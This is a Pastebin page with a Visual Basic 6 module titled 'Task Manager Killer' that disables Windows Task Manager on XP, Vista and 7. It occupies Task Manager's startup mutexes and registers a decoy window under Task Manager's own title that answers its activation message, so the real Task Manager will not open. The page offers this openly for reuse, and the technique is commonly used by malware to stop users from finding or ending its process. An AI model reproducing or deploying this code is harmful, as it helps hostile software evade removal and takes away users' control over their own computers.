Advertisement
Guest User

TASK MANAGER KILLER

a guest
Jun 7th, 2011
208
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Option Explicit
  2. '---------------------------------------------------------------------------------------
  3. ' Module    : mKillTaskMgr
  4. ' Author    : S!M0N
  5. ' Now$      : 07/09/09 16:03
  6. ' Used for? : Disable TaskMgr
  7. ' Tested On : Windows XP, Windows Vista, Windows 7
  8. ' Thanks    : SkyWeb -> Support and Test (W$ Seven & Vista)
  9. '---------------------------------------------------------------------------------------
  10.  
  11. 'KERNEL32
  12. Private Declare Function CreateMutexW Lib "KERNEL32" (ByRef lpMutexAttributes As Long, ByVal bInitialOwner As Long, ByVal lpuName As Long) As Long
  13. Private Declare Function FreeLibrary Lib "KERNEL32" (ByVal hLibModule As Long) As Long
  14. Private Declare Function LoadLibrary Lib "KERNEL32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
  15. 'USER32
  16. Private Declare Function SetWindowLong Lib "USER32" Alias "SetWindowLongA" (ByVal Hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
  17. Private Declare Function CreateWindowEx Lib "USER32" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, ByRef lpParam As Any) As Long
  18. Private Declare Function LoadString Lib "USER32" Alias "LoadStringA" (ByVal hInstance As Long, ByVal wID As Long, ByVal lpBuffer As String, ByVal nBufferMax As Long) As Long
  19. Private Declare Function CallWindowProc Lib "USER32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal Hwnd As Long, ByVal msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
  20.  
  21. Private lpPrev      As Long
  22.  
  23. Public Sub DisableTaskMgr()
  24.     Call CreateMutexW(ByVal 0&, False, StrPtr("NTShell Taskman Startup Mutex"))                         'Windows XP
  25.    Call CreateMutexW(ByVal 0&, False, StrPtr("Local\TASKMGR.879e4d63-6c0e-4544-97f2-1244bd3f6de0"))    'Windows 7
  26.    Call CreateMutexW(ByVal 0&, False, StrPtr("Local\NTShell Taskman Startup Mutex"))                   'Windows Vista
  27.    lpPrev = SetWindowLong(CreateWindowEx(&H40000, "#32770", GetTaskWinName, ByVal 0&, 0, 0, 0, 0, 0, 0, App.hInstance, ByVal 0&), (-4), AddressOf WndProc)
  28. End Sub
  29.  
  30. Private Function GetTaskWinName() As String
  31.     Dim hInst       As Long
  32.     Dim sTMP        As String * 256
  33.    
  34.     hInst = LoadLibrary(Environ$("SYSTEMROOT") & "\SYSTEM32\TaskMgr.exe")
  35.     If hInst Then
  36.         GetTaskWinName = Left$(sTMP, LoadString(hInst, &H2713, sTMP, Len(sTMP)))
  37.         Call FreeLibrary(hInst)
  38.     End If
  39. End Function
  40.  
  41. Private Function WndProc(ByVal Hwnd As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
  42.     If uMsg = &H40B Then
  43.         WndProc = &H40B
  44.     Else
  45.         WndProc = CallWindowProc(lpPrev, Hwnd, uMsg, wParam, lParam)
  46.     End If
  47. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement